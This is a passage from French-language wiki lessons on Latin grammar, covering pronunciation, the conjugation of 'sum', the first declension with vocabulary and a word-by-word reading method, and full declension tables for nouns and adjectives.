**i se prononce i (joli) ou y (yeux) **u se prononce ou (cou) **y se prononce u **c se prononce k **g se prononce comme le g de goût **qu se prononce comme qu dans quoi **gu comme le gu dans Guadeloupe **s se prononce comme un s sourd **x se prononce ks **h n'est pas prononcée **ch se prononce k Les diphtongues : au, eu, ae, oe {{Latin}} Latin/Leçon 1 45 45910 2006-06-26T19:46:21Z Guillaumito 46 [[Latin : leçon 1]] déplacé vers [[Latin/Leçon 1]]: politique de nommage ==L'indicatif présent de "sum"== Le verbe '''sum''', ''je suis'', est tout autant employé en latin que le verbe être en français (mais possède quelques emplois différents) : :'''soit''' comme verbe exprimant l'existence ou l'état :'''soit''' comme verbe auxiliaire. La conjugaison de ce verbe est irrégulière. L'indicatif présent de '''sum''' se forme sur le radical '''es'''-, altéré à certaines personnes. *sum : je suis *es : tu es *est : il est *sumus : nous sommes *estis : vous êtes *sunt : ils sont Notes : *Le pronom personnel sujet ne s'exprime généralement pas en latin. *Le pronom personnel sujet, si il est exprimé, marque une insistance. *Le pluriel de politesse est inusité : on tutoie tout le monde. == Désinences personnelles de l'actif== Tous les verbes latins à la voix active prennent les désinences : *-m ou -o *-s *-t *-mus *-tis *-nt == Forme négative du verbe == Pour conjuguer un verbe latin à la forme négative, on le fait précéder d'un mot négatif : '''non'''. *Non sum : je ne suis pas. == Vocabulaire == === Composées de "sum" === *absum : je suis absent *adsum : je suis présent *desum : je manque *obsum : je nuis *praesum : je commande *supersum : je survis === Mots invariables === *et : et *non : ne...pas, ne...point *nunc : maintenant *saepe : souvent *hodie : aujourd'hui *semper : toujours {{Latin}} Latin/Leçon 2 46 45912 2006-06-26T19:53:39Z Guillaumito 46 [[Latin : leçon 2]] déplacé vers [[Latin/Leçon 2]]: politique de nommage == L'indicatif parfait de "sum" == L'indicatif parfait du verbe "sum" se forme sur le radical '''fu-''' : *'''fui''' : je fus, j'ai été, j'eus été *'''fuisti''' : tu fus *'''fuit''' : il fut *'''fuimus''' : nous fûmes *'''fuistis''' : vous fûtes *'''fuerunt''' : ils furent Le parfait de l'indicatif latin correspond au passé simple, au passé composé et au passé antérieur du français. Il sert donc à décrire une action passée réalisée, d'où son nom de parfait, perfectum, qui signifie ce qui est complètement terminé == Désinences personnelles du parfait == Au parfait de l'indicatif et à la voix active, tous les verbes latins, quelque soit leur déclinaison, prennent les désinences suivantes : *-i *-isti *-it *-imus *-istis *-erunt == Formation de l'indicatif parfait actif == Pour former, à la voix active, l'indicatif parfait d'un verbe latin, on ajoute les désinences du parfait au radical du parfait de ce verbe ; la forme de ce radical est indiquée dans les dictionnaires, et doit toujours être apprise quand vous apprenez un verbe, au même titre que les autres formes de base qui vous permettront d'en maîtriser complètement la conjugaison *amavi *amavisti *amavit *amavimus *amavistis *amaverunt == Vocabulaire == === Mots invariables=== *sed : mais *nunquam : ne...jamais *nusquam : ne...nulle part *heri : hier *nuper : récemment {{Latin}} Latin/Leçon 3 47 45916 2006-06-26T19:54:04Z Guillaumito 46 [[Latin : leçon 3]] déplacé vers [[Latin/Leçon 3]]: politique de nommage == La première déclinaison == Les noms de la première déclinaison ont le génitif singulier en '''-ae''', et le nominatif singulier en '''-a'''. Ces noms doivent être appris sous cette forme : rosa, rosae, la rose, ce qui vous permet de reconnaître la déclinaison à laquelle un nom appartient. {| border="3" |+ La première déclinaison : rosa, rosae : la rose ! Cas ! Singulier ! Pluriel |----- | Nominatif | Ros'''a''' | Ros'''ae''' |----- | Vocatif | Ros'''a''' | Ros'''ae''' |----- | Accusatif | Ros'''am''' | Ros'''as''' |----- | Génitif | Ros'''ae''' | Ros'''arum''' |----- | Datif | Ros'''ae''' | Ros'''is''' |----- | Ablatif | Ros'''a''' | Ros'''is''' |} === Forme des noms === Les noms de cette déclinaison ont le nominatif et le vocatif singuliers en -a bref, l'ablatif du singulier en -a long. === Genre === Les noms de cette déclinaison sont surtout des noms féminins, sauf quelques noms désignant '''des hommes''' ou '''des fleuves''' : *Statua, ae, f., statue *Scriba, ae, m., scribe *Garumna, ae, m., la Garonne === Nombre === Quelques noms ne sont qu'au pluriel : *Divitiae, arum, f., richesses *Athenae, arum, f., Athènes == Eléments de syntaxe == *Accord du nom en apposition ou attribut Le nom en apposition ou attribut s'accorde en cas avec le nom auquel il se rapporte : :Minerva, <u>dea</u> sapientae, Athenarum <u>patrona</u> fuit : Minerve, déesse de la sagesse, fut la protectrice d'Athènes. *Accord du verbe Le verbe s'accorde en personne et en nombre avec son sujet. == Vocabulaire == === Noms de la première déclinaison === *Agricola, ae : agriculteur, paysan *Aqua, ae : eau *Causa, ae : cause, motif *Fabula, ae : fable, légende *Filia, ae : fille *Incola, ae, m. : habitant *Invidia, ae : envie, jalousie *Memoria, ae : mémoire, souvenir *Poeta, ae, m. : poète *Prudentia, ae : prudence *Rosa, ae : rose *Scientia, ae : science, savoir *Silva, ae : forêt *Stella, ae : étoile *Victoria, ae : victoire === Mots invariables === *ante (+acc.) : devant, avant *post (+acc.) : derrière, après == Exercices == L'apprentissage des déclinaisons latines ne peut se faire sans une gymnastique répétitives ; il vous est donc conseillé de décliner chaque mot du vocabulaire, en premier lieu dans l'ordre habituel des cas, puis dans l'ordre inverse. Mais cet exercice n'est qu'une première étape qui n'a pas en soi de valeur : l'apprentissage ne sera complet que lorsque vous aurez acquis l'intuition immédiate d'un cas, indépendemment des autres, et c'est l'un des buts recherchés par les exercices de versions. == Versions == Remarque méthodologique : l'apprentissage du latin a fait l'objet de plusieurs théories plus ou moins efficaces. Ces théories répondent à l'idée que l'on se fait du latin, et à l'usage que l'on souhaite en faire. Nous nous conformerons, dans cette méthode, à l'idée suivante : l'apprentissage du latin doit se donner pour but de nous rendre capables d'écrire et de lire facilement cette langue, comme une langue vivante (idéalement). De cela, il suit naturellement les règles suivantes : *on ne peut parvenir à notre but qu'en abandonnant autant que possible les réflexes linguistiques de notre langue marternelle ou de tout autre langue apprise ; *il suit que nous devons apprendre le latin d'après sa logique propre ; *la conséquence la plus importante de ces remarques est la suivante : vous ne devez pas déchiffrer une phrase latine d'une matière théorique. L'analyse grammaticale est nuisible à l'apprentissage quand elle devance la compréhension de la langue pour elle-même. Comment, dans ce cas, lire une phrase en latin ? C'est très simple : en la lisant <u>mot après mot</u>. C'est un exercice sans aucun doute long et pénible pour un débutant ; il vous faut en effet analyser chaque mot un à un dans <u>l'ordre donné par la phrase</u>. Exemple : Puella ornavit aram. Le premier mot est ''puella''. De quelle déclinaison est ce mot ? de la première. Quels sont ses cas possibles ? nominatif, vocatif et ablatif singulier. Le deuxième mot est : ''ornavit''. C'est un verbe au parfait, troisième personne du singulier. Il peut donc s'accorder avec ''puella'' nominatif singulier, ce qui donne ''puella ornavit''. Cependant tant que la phrase n'est pas terminée, <u>vous ne pouvez rien conclure du sens de la phrase et des relations entre les mots</u>. Le dernier mot est ''aram'', nom de la première déclinaison à l'accusatif singulier. C'est donc le C.O.D. du verbe. Vous pouvez enfin comprendre la phrase. Remarquez que cette méthode n'est pas spécifique au latin. Lorsque vous lisez ou entendez une phrase en français, le sens de cette phrase vous est donné par un ensemble de mot qui se succèdent, et dont vous ne pouvez entièrement déterminer le sens que lorsque vous savez qu'elle est terminée. {{Latin}} Latin/Leçon 4 48 45918 2006-06-26T19:54:32Z Guillaumito 46 [[Latin : leçon 4]] déplacé vers [[Latin/Leçon 4]]: politique de nommage == L'indicatif imparfait du verbe "sum" == *Eram, j'étais *Eras *Erat *Eramus *Eratis *Erant == L'indicatif plus-que-parfait == À la voix active, l'indicatif plus-que-parfait se forme en ajoutant au radical du parfait les formes du parfait du verbe sum : *amav - eram *amav - eras *amav - erat *amav- eramus *amav - eratis *amav - erant === Le plus-que-parfait du verbe sum === Il en va de même pour le verbe sum : *Fueram *Fueras *Fuerat *Fueramus *Fueratis *Fuerant == Syntaxe == Le complément de la plupart des composés de sum est au datif : *Domina praeest ancillis. Mais absum a son complément à l'ablatif, précédé de ''ab'' ou ''a'' (venant de, ab deavnt une voyelle) : *Nauta abest ab insula. == Vocabulaire == === Noms de la première déclinaison === *Cena, ae, f. : repas *Concordia, ae, f. : concorde *Conviva, ae, m. : convive *Culpa, ae, f. : faute *Diligentia, ae, f. : application *Mensa, ae, f. table *Natura,ae, f. : nature *Pecunia, ae, f. argent *Via, ae, f. : route *Vita, ae, f. : vie === Mots invariables === *iam : déjà *olim : jadis *diu : longtemps {{Latin}} Latin/Déclinaisons 49 45930 2006-06-26T20:00:38Z Guillaumito 46 [[Latin:Déclinaisons]] déplacé vers [[Latin/Déclinaisons]]: politique de nommage (tiens, ça fait deux fois que je la renomme celle la...) Les '''[[déclinaison]]s [[latin]]es''' sont au nombre de 5 et disposent chacune de 6 [[cas]] ([[nominatif]], [[vocatif]], [[accusatif]], [[génitif]], [[datif]] et [[ablatif]]). Un 7<sup>e</sup> cas, le [[locatif]], vestige du latin archaïque, subsistait dans quelques cas particuliers. Les mots sont groupés dans les 5 déclinaisons en fonction du génitif qui leur est commun. Les adjectifs se déclinent selon le même principe, et sont répartis en 2 classes. === Déclinaisons des noms === '''1<sup>re</sup> déclinaison''':<br> * Noms sont féminins sauf les noms d'homme (ex:''agricola,ae,l'agriculteur'') qui sont masculins ** Modèle : ''ros<b>a</b>, ros<b>ae</b>, f (rose)''<br> '''2<sup>e</sup> déclinaison''':<br> * Noms sont (généralement) masculins. Noms d'arbres sont féminins (ex:''papyrus;i,le papyrus''). Quelques noms sont neutres (ex:''uirus,i, le poison''). ** Modèle : ''domin<b>us</b>, domin<b>i</b>, m (maître)''<br> ** Modèle : ''ager, agr<b>i</b>, m (champ)'' (sur ce modèle se déclinent la plupart des noms finissant en ''-er'', dont le dernier ''e'' tombe aux cas autres que le nominatif et le vocatif singuliers)<br> ** Modèle : ''puer, puer<b>i</b>, m (enfant)'' (semblable à ''ager'', à ceci près que le dernier ''e'' est conservé à tous les cas ; sur ce modèle se déclinent ''gener (gendre), socer (beau-père), vesper (soir), liberi (enfants, un pluriel qui n'a pas de singulier)'' et aussi ''vir, vir<b>i</b>, m (homme, au sens mâle)'')<br> * Noms neutres ** Modèle : ''templ<b>um</b>, templ<b>i</b>, n (temple)''<br> {| border |+ <font size="+1">Tableau des 1<sup>re</sup> et 2<sup>e</sup> déclinaisons</font> |----- ! Cas ! ''rosa'' ! ''dominus'' ! ''ager'' ! ''puer'' ! ''templum'' |----- ! Nominatif&nbsp;singulier | ros<b>a</b> || domin<b>us</b> || ager | puer || templ<b>um</b> |----- ! Vocatif&nbsp;singulier | ros<b>a</b> || domin<b>e</b> || ager | puer || templ<b>um</b> |----- ! Accusatif&nbsp;singulier | ros<b>am</b> || domin<b>um</b> || agr<b>um</b> | puer<b>um</b> || templ<b>um</b> |----- ! Génitif&nbsp;singulier | ros<b>ae</b> || domin<b>i</b> || agr<b>i</b> | puer<b>i</b> || templ<b>i</b> |----- ! Datif&nbsp;singulier | ros<b>ae</b> || domin<b>o</b> || agr<b>o</b> | puer<b>o</b> || templ<b>o</b> |----- ! Ablatif&nbsp;singulier | ros<b>a</b> || domin<b>o</b> || agr<b>o</b> | puer<b>o</b> || templ<b>o</b> |----- ! Nominatif&nbsp;pluriel | ros<b>ae</b> || domin<b>i</b> || agr<b>i</b> | puer<b>i</b> || templ<b>a</b> |----- ! Vocatif&nbsp;pluriel | ros<b>ae</b> || domin<b>i</b> || agr<b>i</b> | puer<b>i</b> || templ<b>a</b> |----- ! Accusatif&nbsp;pluriel | ros<b>as</b> || domin<b>os</b> || agr<b>os</b> | puer<b>os</b> || templ<b>a</b> |----- ! Génitif&nbsp;pluriel | ros<b>arum</b> || domin<b>orum</b> || agr<b>orum</b> | puer<b>orum</b> || templ<b>orum</b> |----- ! Datif&nbsp;pluriel | ros<b>is</b> || domin<b>is</b> || agr<b>is</b> | puer<b>is</b> || templ<b>is</b> |----- ! Ablatif&nbsp;pluriel | ros<b>is</b> || domin<b>is</b> || agr<b>is</b> | puer<b>is</b> || templ<b>is</b> |} Remarques : * Le datif et l'ablatif pluriels de la 1<sup>re</sup> déclinaison étaient à l'origine en ''-abus''. Forme conservée pour ''dea (déesse)'' et ''filia (fille)'' qui font ''de<b>abus</b>'' et ''fili<b>abus</b>'', pour éviter la confusion avec les datif et ablatif pluriels de ''deus (dieu)'' et ''filius (fils)'' (2<sup>e</sup> déclinaison). * Le génitif singulier de la 1<sup>re</sup> déclinaison était à l'origine en ''-as''. Forme conservée dans l'expression ''pater famili<b>as</b>'' ou ''paterfamili<b>as</b> (père de famille)''. * Les terminaisons en ''-us'' et ''-um'' étaient à l'origine en ''-os'' et ''-om''. Ces formes anciennes se rencontrent parfois quand la terminaison est précédée de ''-u-'' ou ''-v-'' (exemple ''serv<b>os</b>'' au lieu de ''serv<b>us</b> (esclave)''). * Quelques rares mots neutres de la 2<sup>e</sup> déclinaison ont un nominatif singulier en ''-us''. Il s'agit de mots d'origine grecque, par exemple ''vir<b>us</b>, vir<b>i</b> (poison)''. Leurs vocatif et accusatif singuliers sont identiques au nominatif : ''vir<b>us</b>, vir<b>us</b>, vir<b>us</b>, vir<b>i</b>, vir<b>o</b>, vir<b>o</b>, vir<b>a</b>, vir<b>a</b>, vir<b>a</b>, vir<b>orum</b>, vir<b>is</b>, vir<b>is</b>''. * Des mots d'origine grecque en ''-as'' ou ''-es'' au nominatif singulier suivent la 1<sup>re</sup> déclinaison, mais leur vocatif singulier est en ''-a''. Exemple : ''Aene<b>as</b>, Aene<b>a</b>, Aene<b>am</b>, Aene<b>ae</b>, Aene<b>ae</b>, Aene<b>a</b> (Énée)''. * Des mots d'origine grecque en ''-eus'' au nominatif singulier suivent la 2<sup>e</sup> déclinaison, mais leur vocatif singulier est en ''-eu''. Exemple : ''Orphe<b>us</b>, Orphe<b>u</b>, Orphe<b>um</b>, Orphe<b>i</b>, Orphe<b>o</b>, Orphe<b>o</b> (Orphée)''. * Le vocatif singulier de ''filius (fils)'' et de certains noms propres en ''-ius'' peut être contracté en ''-i'' au lieu de ''-ie'' (''fili'' au lieu de ''filie''). * Le génitif singulier des mots en ''-ius'' est souvent contracté en ''-i'' au lieu de ''-ii'' (''fili'' au lieu de ''filii''). * ''deus (dieu)'' (2<sup>e</sup> déclinaison) transforme le ''e'' de son [[radical (linguistique)|radical]] en ''i'' devant une [[désinence]] commençant par ''i'' (et peut aussi simplifier ''ii'' en ''i'': ''dii'' ou ''di'' au lieu de ''dei'', ''diis'' ou ''dis'' au lieu de ''deis''. De plus le vocatif singulier ''dee'' est rare, plus souvent remplacé par ''deus''. * Les noms de villes ou de petites îles appartenant aux 1<sup>re</sup> et 2<sup>e</sup> déclinaisons ont un locatif, semblable au génitif. C'est aussi le cas pour ''humus (terre)'', ''bellus (guerre)'' et ''militia (armée)''. '''3<sup>e</sup> déclinaison''':<br> *Noms sont masculins, féminins et neutres. **La 3<sup>e</sup> déclinaison se décompose en deux groupes : les parisyllabiques (génitif pluriel en ''-ium'') et les imparisyllabiques (génitif pluriel en ''-um''), selon que le nominatif singulier a ou n'a pas le même nombre de [[syllabe]]s que le génitif singulier. Cependant, il existe des ''faux imparisyllabiques'', anciens parisyllabiques dont la dernière voyelle est tombée au nominatif singulier (ce sont les mots masculins ou féminins dont le radical du génitif se termine par deux consonnes, et les mots neutres finissant en ''-al'' et ''-ar''), et des ''faux parisyllabiques'' (6 mots irréguliers). Dans tous les modèles, le vocatif singulier est identique au nominatif singulier, de même que l'accusatif singulier des mots neutres ; tous les autres cas se construisent sur le radical du génitif singulier. * Parisyllabiques masculins et féminins ** Modèle : ''civis, civ<b>is</b>, m (citoyen)''<br> * Parisyllabiques neutres ** Modèle : ''mare, mar<b>is</b>, n (mer)''<br> * Imparisyllabiques masculins et féminins ** Modèle : ''consul, consul<b>is</b>, m (consul)''<br> * Imparisyllabiques neutres ** Modèle : ''corpus, corpor<b>is</b>, n (corps)''<br> * Faux parisyllabiques masculins et féminins ** Modèle : ''pater, patr<b>is</b>, m (père)'' (sur ce modèle semblable à ''consul'' se déclinent : ''mater/matris (mère), frater/fratris (frère), juvenis/juvenis (jeune homme), senex/senis (vieillard)'' et ''canis/canis (chien)'')<br> * Faux imparisyllabiques masculins et féminins ** Modèle : ''urbs, urb<b>is</b>, m (ville)'' (modèle semblable à ''civis'')<br> * Faux imparisyllabiques neutres ** Modèle : ''animal, animal<b>is</b>, n (animal)'' (modèle semblable à ''mare'')<br> * Parisyllabiques en ''i'' (désinence comprenant un ''i'' à l'accusatif et à l'ablatif singulier) ** Modèle : ''febr<b>is</b>, febr<b>is</b>, f (fièvre)'' (sur ce modèle se déclinent seulement quelques mots : ''puppis (poupe), securis (hache), sitis (soif), turris (tour), tussis (toux), vis (force)'') {| border |+ <font size="+1">Tableau de la 3<sup>e</sup> déclinaison</font> |----- ! Cas ! ''civis'' ! ''mare'' ! ''consul'' ! ''corpus'' ! ''pater'' ! ''urbs'' ! ''animal'' ! ''febris'' |----- ! Nominatif&nbsp;singulier | civis || mare || consul || corpus || pater | urbs || animal || febris |----- ! Vocatif&nbsp;singulier | civis || mare || consul || corpus || pater | urbs || animal || febris |----- ! Accusatif&nbsp;singulier | civ<b>em</b> || mare || consul<b>em</b> | corpus || patr<b>em</b> | urb<b>em</b> || animal || febr<b>im</b> |----- ! Génitif&nbsp;singulier | civ<b>is</b> || mar<b>is</b> || consul<b>is</b> | corpor<b>is</b> || patr<b>is</b> | urb<b>is</b> || animal<b>is</b> || febr<b>is</b> |----- ! Datif&nbsp;singulier | civ<b>i</b> || mar<b>i</b> || consul<b>i</b> | corpor<b>i</b> || patr<b>i</b> | urb<b>i</b> || animal<b>i</b> || febr<b>i</b> |----- ! Ablatif&nbsp;singulier | civ<b>e</b> || mar<b>i</b> || consul<b>e</b> | corpor<b>e</b> || patr<b>e</b> | urb<b>e</b> || animal<b>i</b> || febr<b>i</b> |----- ! Nominatif&nbsp;pluriel | civ<b>es</b> || mar<b>ia</b> || consul<b>es</b> | corpor<b>a</b> || patr<b>es</b> | urb<b>es</b> || animal<b>ia</b> || febr<b>es</b> |----- ! Vocatif&nbsp;pluriel | civ<b>es</b> || mar<b>ia</b> || consul<b>es</b> | corpor<b>a</b> || patr<b>es</b> | urb<b>es</b> || animal<b>ia</b> || febr<b>es</b> |----- ! Accusatif&nbsp;pluriel | civ<b>es</b> || mar<b>ia</b> || consul<b>es</b> | corpor<b>a</b> || patr<b>es</b> | urb<b>es</b> || animal<b>ia</b> || febr<b>es</b> |----- ! Génitif&nbsp;pluriel | civ<b>ium</b> || mar<b>ium</b> || consul<b>um</b> | corpor<b>um</b> || patr<b>um</b> | urb<b>ium</b> || animal<b>ium</b> || febr<b>ium</b> |----- ! Datif&nbsp;pluriel | civ<b>ibus</b> || mar<b>ibus</b> || consul<b>ibus</b> | corpor<b>ibus</b> || patr<b>ibus</b> | urb<b>ibus</b> | animal<b>ibus</b> || febr<b>ibus</b> |----- ! Ablatif&nbsp;pluriel | civ<b>ibus</b> || mar<b>ibus</b> || consul<b>ibus</b> | corpor<b>ibus</b> || patr<b>ibus</b> | urb<b>ibus</b> | animal<b>ibus</b> || febr<b>ibus</b> |} Remarque : * ''vis (force)'', qui suit le modèle de ''febris'', est irrégulier : le génitif et le datif singulier n'existent pas, au pluriel le radical devient ''vir-'' : ''vir<b>es</b>, vir<b>es</b>, vir<b>es</b>, vir<b>ium</b>, vir<b>ibus</b>, vir<b>ibus</b>'' * ''bos, bov<b>is</b>, m ou f (bœuf ou vache)'' présente des formes contractées au génitif pluriel (''boum'') et aux datif et ablatif pluriels (''bobus'' ou ''bubus''). * ''sus, su<b>is</b>, m ou f (porc ou truie)'' présente une forme contractée aux datif et ablatif pluriels (''subus''), à côté de la forme régulière ''su<b>ibus</b>''. * ''poema, poemat<b>is</b>, n (poème)'' se décline comme ''corpus'', mais au pluriel il peut aussi suivre la 2<sup>e</sup> déclinaison (''templum''). * ''jecur, jecinor<b>is</b>, n (foie)'', qui n'a pas de pluriel, peut être contracté au génitif (''jecoris'') et a, en plus des formes régulières sur le modèle de ''corpus'', des formes irrégulières à l'accusatif (''jecora''), au génitif (''jocineris''), au datif (''jocineri'') et à l'ablatif (''jocinere''). '''4<sup>e</sup> déclinaison''':<br> * Noms masculins et féminins ** Modèle : ''man<b>us</b>, man<b>us</b>, f (main)''<br> * Noms neutres ** Modèle : ''corn<b>u</b>, corn<b>us</b>, n (corne)''<br> * Un mot irrégulier (dont certaines formes hésitent entre la 2<sup>e</sup> déclinaison et la 4<sup>e</sup> déclinaison) ** ''dom<b>us</b>, dom<b>us</b>, f (maison)''<br> '''5<sup>e</sup> déclinaison''':<br> * Noms féminins (sauf 2 exceptions, ''dies'' et ''meridies'', masculins) ** Modèle : ''di<b>es</b>, di<b>ei</b>, m (jour)''<br> {| border |+ <font size="+1">Tableau des 4<sup>e</sup> et 5<sup>e</sup> déclinaisons</font> |----- ! Cas ! ''manus'' ! ''cornu'' ! ''domus'' ! ''dies'' |----- ! Nominatif&nbsp;singulier | man<b>us</b> || <b>cornu</b> || dom<b>us</b> | di<b>es</b> |----- ! Vocatif&nbsp;singulier | man<b>us</b> || <b>cornu</b> || dom<b>us</b> | di<b>es</b> |----- ! Accusatif&nbsp;singulier | man<b>um</b> || corn<b>u</b> || dom<b>um</b> | di<b>em</b> |----- ! Génitif&nbsp;singulier | man<b>us</b> || corn<b>us</b> || dom<b>us</b> | di<b>ei</b> |----- ! Datif&nbsp;singulier | man<b>ui</b> || corn<b>ui</b> | dom<b>ui</b>&nbsp;''ou''&nbsp;dom<b>o</b> | di<b>ei</b> |----- ! Ablatif&nbsp;singulier | man<b>u</b> || corn<b>u</b> | dom<b>o</b>&nbsp;''ou''&nbsp;dom<b>u</b> | di<b>e</b> |----- ! Nominatif&nbsp;pluriel | man<b>us</b> || corn<b>ua</b> || dom<b>us</b> | di<b>es</b> |----- ! Vocatif&nbsp;pluriel | man<b>us</b> || corn<b>ua</b> || dom<b>us</b> | di<b>es</b> |----- ! Accusatif&nbsp;pluriel | man<b>us</b> || corn<b>ua</b> | dom<b>us</b>&nbsp;''ou''&nbsp;dom<b>os</b> | di<b>es</b> |----- ! Génitif&nbsp;pluriel | man<b>uum</b> || corn<b>uum</b> | dom<b>uum</b>&nbsp;''ou''&nbsp;dom<b>orum</b> | di<b>erum</b> |----- ! Datif&nbsp;pluriel | man<b>ibus</b> || corn<b>ibus</b> || dom<b>ibus</b> | di<b>ebus</b> |----- ! Ablatif&nbsp;pluriel | man<b>ibus</b> || corn<b>ibus</b> || dom<b>ibus</b> | di<b>ebus</b> |} Remarques : * Les datif et ablatif pluriels de la 4<sup>e</sup> déclinaison étaient à l'origine en ''-ubus''. Forme conservée par quelques mots, comme ''acus (aiguille), arcus (arc), lacus (lac), quercus (chêne), specus (grotte), artus (articulation), tribus (tribu), partus (enfantement)'' et parfois ''portus (port)''. * Le datif singulier de la 4<sup>e</sup> déclinaison est parfois en ''-u'' (''man<b>u</b>'', ''corn<b>u</b>''). C'est rare. * ''domus'' (4<sup>e</sup> déclinaison) possède un [[locatif]] singulier : ''dom<b>i</b>''. Au datif singulier, la forme ''dom<b>o</b>'' est rare. === Déclinaisons des adjectifs === '''1<sup>re</sup> classe''':<br> Les adjectifs de la 1<sup>re</sup> classe se forment avec les désinences des 1<sup>re</sup> et 2<sup>e</sup> déclinaisons. * Modèle ''bon<b>us</b>, bon<b>a</b>, bon<b>um</b> (bon)'' : se décline comme ''dominus'' au masculin, ''rosa'' au féminin, ''templum'' au neutre * Modèle ''miser, miser<b>a</b>, miser<b>um</b> (malheureux)'' : se décline comme ''puer'' au masculin, ''rosa'' au féminin, ''templum'' au neutre * Modèle ''pulcher, pulchr<b>a</b>, pulchr<b>um</b> (beau)'' : se décline comme ''ager'' au masculin, ''rosa'' au féminin, ''templum'' au neutre {| border |+ <font size="+1">Tableau de la 1<sup>re</sup> classe d'adjectifs</font> |----- ! Cas ! M ! F ! N ! M ! F ! N ! M ! F ! N |----- ! Nom.&nbsp;sg. | bon<b>us</b> || bon<b>a</b> || bon<b>um</b> | miser || miser<b>a</b> | miser<b>um</b> || pulcher || pulchr<b>a</b> | pulchr<b>um</b> |----- ! Voc.&nbsp;sg. | bon<b>e</b> || bon<b>a</b> || bon<b>um</b> | miser || miser<b>a</b> | miser<b>um</b> || pulcher || pulchr<b>a</b> | pulchr<b>um</b> |----- ! Acc.&nbsp;sg. | bon<b>um</b> || bon<b>am</b> || bon<b>um</b> | miser<b>um</b> || miser<b>am</b> | miser<b>um</b> || pulchr<b>um</b> || pulchr<b>am</b> | pulchr<b>um</b> |----- ! Gén.&nbsp;sg. | bon<b>i</b> || bon<b>ae</b> || bon<b>i</b> | miser<b>i</b> || miser<b>ae</b> | miser<b>i</b> || pulchr<b>i</b> || pulchr<b>ae</b> | pulchr<b>i</b> |----- ! Dat.&nbsp;sg. | bon<b>o</b> || bon<b>ae</b> || bon<b>o</b> | miser<b>o</b> || miser<b>ae</b> | miser<b>o</b> || pulchr<b>o</b> || pulchr<b>ae</b> | pulchr<b>o</b> |----- ! Abl.&nbsp;sg. | bon<b>o</b> || bon<b>a</b> || bon<b>o</b> | miser<b>o</b> || miser<b>a</b> | miser<b>o</b> || pulchr<b>o</b> || pulchr<b>a</b> | pulchr<b>o</b> |----- ! Nom.&nbsp;pl. | bon<b>i</b> || bon<b>ae</b> || bon<b>a</b> | miser<b>i</b> || miser<b>ae</b> | miser<b>a</b> || pulchr<b>i</b> || pulchr<b>ae</b> | pulchr<b>a</b> |----- ! Voc.&nbsp;pl. | bon<b>i</b> || bon<b>ae</b> || bon<b>a</b> | miser<b>i</b> || miser<b>ae</b> | miser<b>a</b> || pulchr<b>i</b> || pulchr<b>ae</b> | pulchr<b>a</b> |----- ! Acc.&nbsp;pl. | bon<b>os</b> || bon<b>as</b> || bon<b>a</b> | miser<b>os</b> || miser<b>as</b> | miser<b>a</b> || pulchr<b>os</b> || pulchr<b>as</b> | pulchr<b>a</b> |----- ! Gén.&nbsp;pl. | bon<b>orum</b> || bon<b>arum</b> || bon<b>orum</b> | miser<b>orum</b> || miser<b>arum</b> | miser<b>orum</b> | pulchr<b>orum</b> || pulchr<b>arum</b> | pulchr<b>orum</b> |----- ! Dat.&nbsp;pl. | bon<b>is</b> || bon<b>is</b> || bon<b>is</b> | miser<b>is</b> || miser<b>is</b> | miser<b>is</b> || pulchr<b>is</b> || pulchr<b>is</b> | pulchr<b>is</b> |----- ! Abl.&nbsp;pl. | bon<b>is</b> || bon<b>is</b> || bon<b>is</b> | miser<b>is</b> || miser<b>is</b> | miser<b>is</b> || pulchr<b>is</b> || pulchr<b>is</b> | pulchr<b>is</b> |} '''2<sup>e</sup> classe''':<br> Les adjectifs de la 2<sup>e</sup> classe se forment avec les désinences de la 3<sup>e</sup> déclinaison. De même que dans celle-ci, le vocatif singulier est toujours identique au nominatif singulier, tous les autres cas se construisent sur le radical du génitif singulier, commun aux 3 genres. * Modèle ''acer, acris, acre (aigu)'', génitif ''acris'' : adjectifs parisyllabiques, se déclinent comme ''civis'' au masculin et au féminim, comme ''mare'' au neutre. * Modèle ''fortis, forte (fort)'' (masculin et féminin identiques), génitif ''fortis'' : adjectifs parisyllabiques, se déclinent comme ''civis'' au masculin/féminin, comme ''mare'' au neutre. * Modèle ''prudens (prudent)'' (identique aux 3 genres au singulier), génitif ''prudentis'' : adjectifs faux imparisyllabiques, se déclinent comme ''urbs'' au masculin/féminin, comme ''animal'' au neutre. * Modèle ''audax (audacieux)'' (identique aux 3 genres au singulier), génitif ''audacis'' : modèle presque semblable à ''prudens'' (cf remarques sur l'ablatif singulier en bas du tableau), s'applique à tous les adjectifs en ''-ax'', ''-ox'' ou ''-ix''. * Modèle ''vetus (vieux)'' (identique aux 3 genres au singulier), génitif ''veteris'' : adjectifs imparisyllabiques (peu nombreux), se déclinent comme ''consul'' au masculin/féminin, comme ''corpus'' au neutre. {| border |+ <font size="+1">Tableau de la 2<sup>e</sup> classe d'adjectifs</font> |----- ! Cas ! M ! F ! N ! M/F ! N ! M/F ! N ! M/F ! N ! M/F ! N |----- ! Nom.&nbsp;sg. | acer || acris || acre || fortis || forte | prudens || prudens || audax || audax || vetus || vetus |----- ! Voc.&nbsp;sg. | acer || acris || acre || fortis || forte | prudens || prudens || audax || audax || vetus || vetus |----- ! Acc.&nbsp;sg. | acr<b>em</b> || acr<b>em</b> || acre | fort<b>em</b> || forte | prudent<b>em</b> || prudens || audac<b>em</b> | audax || veter<b>em</b> || vetus |----- ! Gén.&nbsp;sg. | acr<b>is</b> || acr<b>is</b> || acr<b>is</b> | fort<b>is</b> || fort<b>is</b> | prudent<b>is</b> || prudent<b>is</b> || audac<b>is</b> | audac<b>is</b> || veter<b>is</b> || veter<b>is</b> |----- ! Dat.&nbsp;sg. | acr<b>i</b> || acr<b>i</b> || acr<b>i</b> | fort<b>i</b> || fort<b>i</b> | prudent<b>i</b> || prudent<b>i</b> || audac<b>i</b> | audac<b>i</b> || veter<b>i</b> || veter<b>i</b> |----- ! Abl.&nbsp;sg. | acr<b>i</b> || acr<b>i</b> || acr<b>i</b> | fort<b>i</b> || fort<b>i</b> | prudent<b>e</b>&nbsp;''ou''&nbsp;prudent<b>i</b> | prudent<b>i</b> || audac<b>i</b> || audac<b>i</b> | veter<b>e</b> || veter<b>e</b> |----- ! Nom.&nbsp;pl. | acr<b>es</b> || acr<b>es</b> || acr<b>ia</b> | fort<b>es</b> || fort<b>ia</b> | prudent<b>es</b> || prudent<b>ia</b> || audac<b>es</b> | audac<b>ia</b> || veter<b>es</b> || veter<b>a</b> |----- ! Voc.&nbsp;pl. | acr<b>es</b> || acr<b>es</b> || acr<b>ia</b> | fort<b>es</b> || fort<b>ia</b> | prudent<b>es</b> || prudent<b>ia</b> || 